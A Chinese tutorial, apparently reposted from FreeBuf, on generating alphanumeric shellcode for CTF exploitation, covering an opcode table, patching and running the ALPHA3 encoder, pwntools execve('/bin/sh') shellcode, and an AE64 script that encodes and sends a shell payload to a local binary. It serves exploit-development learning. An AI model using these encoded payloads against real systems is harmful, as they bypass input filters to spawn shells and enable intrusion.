Alphanumeric Shellcode:纯字符Shellcode生成指南

栏目: IT技术 · 发布时间: 3年前

内容简介:alphanumeric shellcode(纯字符shellcode)是比较实用的一项技术,因为有些时候程序会对用户输入的字符进行限制,比如只允许输入可见字符,这时就需要用到纯字符的shellcode了。原理很简单,就是使用纯字符对应的汇编指令完成shellcode的编写,比如:其余的就不一一列出了,本篇主要介绍使用工具编码,手动编码可以参考以下几篇文章:

alphanumeric shellcode(纯字符shellcode)是比较实用的一项技术,因为有些时候程序会对用户输入的字符进行限制,比如只允许输入可见字符,这时就需要用到纯字符的shellcode了。

原理很简单,就是使用纯字符对应的汇编指令完成shellcode的编写,比如:

ASCII字符 Hex 汇编指令
P 0×50 push %rax
Q 0×51 push %rcx
R 0×52 push %rdx
S 0×53 push %rbx
T 0×54 push %rsp
U 0×55 push %rbp
V 0×56 push %rsi
W 0×57 push %rdi
X 0×58 pop %rax
Y 0×59 pop %rcx
Z 0x5a pop %rdx

其余的就不一一列出了,本篇主要介绍使用 工具 编码,手动编码可以参考以下几篇文章:

Alphanumeric shellcode

x86纯字符编码表

x64纯字符编码表

alpha3

这个工具源码在google上,国内可以选择从 github 下载。不过官方代码在 Linux 环境下运行时有些问题:

% python ALPHA3.py
Traceback (most recent call last):
  File "ALPHA3.py", line 4, in <module>
    import charsets, encode, io
  File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>
    import ALPHA3
  File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>
    import x86, x64, test
  File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>
    raise OSError("Unsupported platform for testing.");
OSError: Unsupported platform for testing.

看下报错信息,发现错误在 test/__init__.py 中,打开源码,发现有个 判断平台 的代码,如果不是 win32 就报错,解决方法很简单,只需要把后两行代码注释掉就行,修改如下:

if (sys.platform == 'win32'):
    # ...
    TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n"
#else:
#  raise OSError("Unsupported platform for testing.");

再次运行就正常:

% python ALPHA3.py
____________________________________________________________________________
      ,sSSs,,s,  ,sSSSs,    ALPHA3 - Alphanumeric shellcode encoder.
     dS"  Y$P"  YS"  ,SY    Version 1.0 alpha
    iS'   dY       ssS"     Copyright (C) 2003-2009 by SkyLined.
    YS,  dSb   SP,  ;SP     <berendjanwever@gmail.com>
    `"YSS'"S'  "YSSSY"      http://skypher.com/wiki/index.php/ALPHA3
____________________________________________________________________________

[Usage]
  ALPHA3.py  [ encoder settings | I/O settings | flags ]

# ...

修改完之后还需要编译源码,但是编译源码的工具也在google上,如果懒得自己编译,可以直接下载我修改版: https://github.com/TaQini/alpha3

git clone https://github.com/TaQini/alpha3.git

生成shellcode

from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

将上述代码保存成 sc.py 放到 alpha3 目录下,然后执行如下命令生成待编码的 shellcode 文件

python sc.py > shellcode

默认生成的是x64的 sys_execve("/bin/sh",0,0) ,可以修改成其他的arch或shellcode

x64 alpha编码

生成x64 alpha shellcode

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

或者用我写的脚本:

./shellcode_x64.sh rax

其中输入文件为 shellcoderax 是用于编码的寄存器(shellcode基址)

比如有如下代码:

00101246 48 8d     LEA    RAX,[RBP + -0x410]
           85 f0 
           fb ff 
  0010124d ff d0     CALL   RAX
  ; ...

通过call rax跳转到shellcode,那么alpha3命令中用于编码的寄存器就是rax

shellcode的起始地址存在哪个寄存器中,用于编码的寄存器就是哪个

x86 alpha编码

alpha3中x64的shellcode只要上述mixedcase一种情况,x86的选项比较多:

x86 ascii uppercase (数字+大写字母)
x86 ascii lowercase (数字+小写字母)
x86 ascii mixedcase (数字+大小写字母)

用法与x64相似,不赘述啦~

全部编码方式

alpha3支持的所有编码方式如下:

Valid base address examples for each encoder, ordered by encoder settings,
are:

[x64 ascii mixedcase]
  AscMix (r64)              RAX RCX RDX RBX RSP RBP RSI RDI

[x86 ascii lowercase]
  AscLow 0x30 (rm32)        ECX EDX EBX

[x86 ascii mixedcase]
  AscMix 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
                            ECX+2 ESI+4 ESI+8
  AscMix 0x30 (i32)         (address)
  AscMix Countslide (rm32)  countslide:EAX+offset~uncertainty
                            countslide:EBX+offset~uncertainty
                            countslide:ECX+offset~uncertainty
                            countslide:EDX+offset~uncertainty
                            countslide:ESI+offset~uncertainty
                            countslide:EDI+offset~uncertainty
  AscMix Countslide (i32)   countslide:address~uncertainty
  AscMix SEH GetPC (XPsp3)  seh_getpc_xpsp3

[x86 ascii uppercase]
  AscUpp 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

[x86 latin-1 mixedcase]
  Latin1Mix CALL GetPC      call

[x86 utf-16 uppercase]
  UniUpper 0x10 (rm32)      EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

AE64

AE64 是杭电的一位大师傅写的工具,专用于生成64位的aplha shellcode。下载方式:

git clone https://github.com/veritas501/ae64.git

AE64的优势在于编码时可以更加灵活地使用寄存器,但是生成的alpha shellcode比alpha3要更长一些。

此外AE64是 python 写的,可以直接在python中调用,以下是官方的栗子:

from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./example1')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')

p.sendline(sc)

p.interactive()

*本文作者:taqini,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据结构

数据结构

邓俊辉 / 清华大学出版社 / 2013-9 / 39.00元

《清华大学计算机系列教材:数据结构(C++语言版)(第3版)》按照面向对象程序设计的思想,根据作者多年的教学积累,系统地介绍各类数据结构的功能、表示和实现,对比各类数据结构适用的应用环境;结合实际问题展示算法设计的一般性模式与方法、算法实现的主流技巧,以及算法效率的评判依据和分析方法;以高度概括的体例为线索贯穿全书,并通过对比和类比揭示数据结构与算法的内在联系,帮助读者形成整体性认识。一起来看看 《数据结构》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

随机密码生成器
随机密码生成器

多种字符组合密码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器